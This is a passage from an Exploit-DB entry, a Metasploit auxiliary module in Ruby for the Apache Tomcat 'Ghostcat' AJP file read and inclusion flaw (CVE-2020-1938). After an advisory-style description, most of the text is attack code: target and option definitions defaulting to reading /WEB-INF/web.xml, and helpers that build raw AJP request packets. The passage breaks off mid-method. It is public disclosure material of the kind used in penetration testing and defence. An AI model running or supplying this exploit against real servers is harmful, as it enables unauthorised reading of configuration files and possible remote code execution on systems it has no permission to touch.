Exploit-DB #49039
Description: Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)
Type: webapps
Platform: multiple
Date: 2020-11-13
Author: SunCSR

Exploit:
require "msf/core"

class MetasploitModule < Msf::Auxiliary
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            "Name" => "Ghostcat",
            "Description" => %q{
                When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
            },
            "Author" =>
            [
                "A Security Researcher of Chaitin Tech", #POC
                "ThienNV - SunCSR" #Metasploit Module
            ],
            "License" => MSF_LICENSE,
            "References" =>
                [
                    [ "CVE", "2020-1938"]
                ],
            "Privileged" => false,
            "Platform" => %w{ java linux win},
            "Targets" =>
            [
                ["Automatic",
                    {
                        "Arch" => ARCH_JAVA,
                        "Platform" => "win"
                    }
                ],
                [ "Java Windows",
                    {
                    "Arch" => ARCH_JAVA,
                    "Platform" => "win"
                    }
                ],
                [ "Java Linux",
                    {
                    "Arch" => ARCH_JAVA,
                    "Platform" => "linux"
                    }
                ]
            ],
            "DefaultTarget" => 0))
        register_options(
            [
                OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]),
                OptBool.new('SSL', [ true, 'SSL', false ]),
                OptPort.new('PORTWEB', [ false, 'Set a port webserver'])
            ],self.class)
    end

    def method2code(method)
        methods = {
            "OPTIONS" => 1,
            "GET" => 2,
            "HEAD" => 3,
            "POST" => 4,
            "PUT" => 5,
            "DELETE" => 6,
            "TRACE" => 7,
            "PROPFIND" => 8
        }
        code = methods[method]
        return code
    end
    
    def make_headers(headers)
        header2code = {
            "accept" => "\xA0\x01",
            "accept-charset" => "\xA0\x02",
            "accept-encoding" => "\xA0\x03",
            "accept-language" => "\xA0\x04",
            "authorization" => "\xA0\x05",
            "connection" => "\xA0\x06", 
            "content-type" => "\xA0\x07", 
            "content-length" => "\xA0\x08", 
            "cookie" => "\xA0\x09",  
            "cookie2" => "\xA0\x0A", 
            "host" => "\xA0\x0B", 
            "pragma" => "\xA0\x0C",
            "referer" => "\xA0\x0D", 
            "user-agent" => "\xA0\x0E"
        }
        headers_ajp = Array.new
        for (header_name, header_value) in headers do
            code = header2code[header_name].to_s
            if code != ""
                headers_ajp.append(code)
                headers_ajp.append(ajp_string(header_value.to_s))
            else
                headers_ajp.append(ajp_string(header_name.to_s))
                headers_ajp.append(ajp_string(header_value.to_s))
            end
        end
        return int2byte(headers.length,2), headers_ajp
    end
    def make_attributes(attributes)
        attribute2code = {
            "remote_user" => "\x03",
            "auth_type" => "\x04",
            "query_string" => "\x05",
            "jvm_route" => "\x06",
            "ssl_cert" => "\x07",
            "ssl_cipher" => "\x08",
            "ssl_session" => "\x09",
            "req_attribute" => "\x0A",
            "ssl_key_size" => "\x0B"
        }
        attributes_ajp = Array.new
        for attr in attributes
            name = attr.keys.first.to_s
            code = (attribute2code[name]).to_s
            value = attr[name]
            if code != ""
                attributes_ajp.append(code)
                if code == "\x0A"
                    for v in value
                        attributes_ajp.append(ajp_string(v.to_s))
                    end
                else
                    attributes_ajp.append(ajp_string(value.to_s))
                end
            end
        end
        return attributes_ajp
    end
    
    def ajp_string(message_bytes)
        message_len_int = message_bytes.length
        return int2byte(message_len_int,2) + message_bytes + "\x00"
    end
    
    def in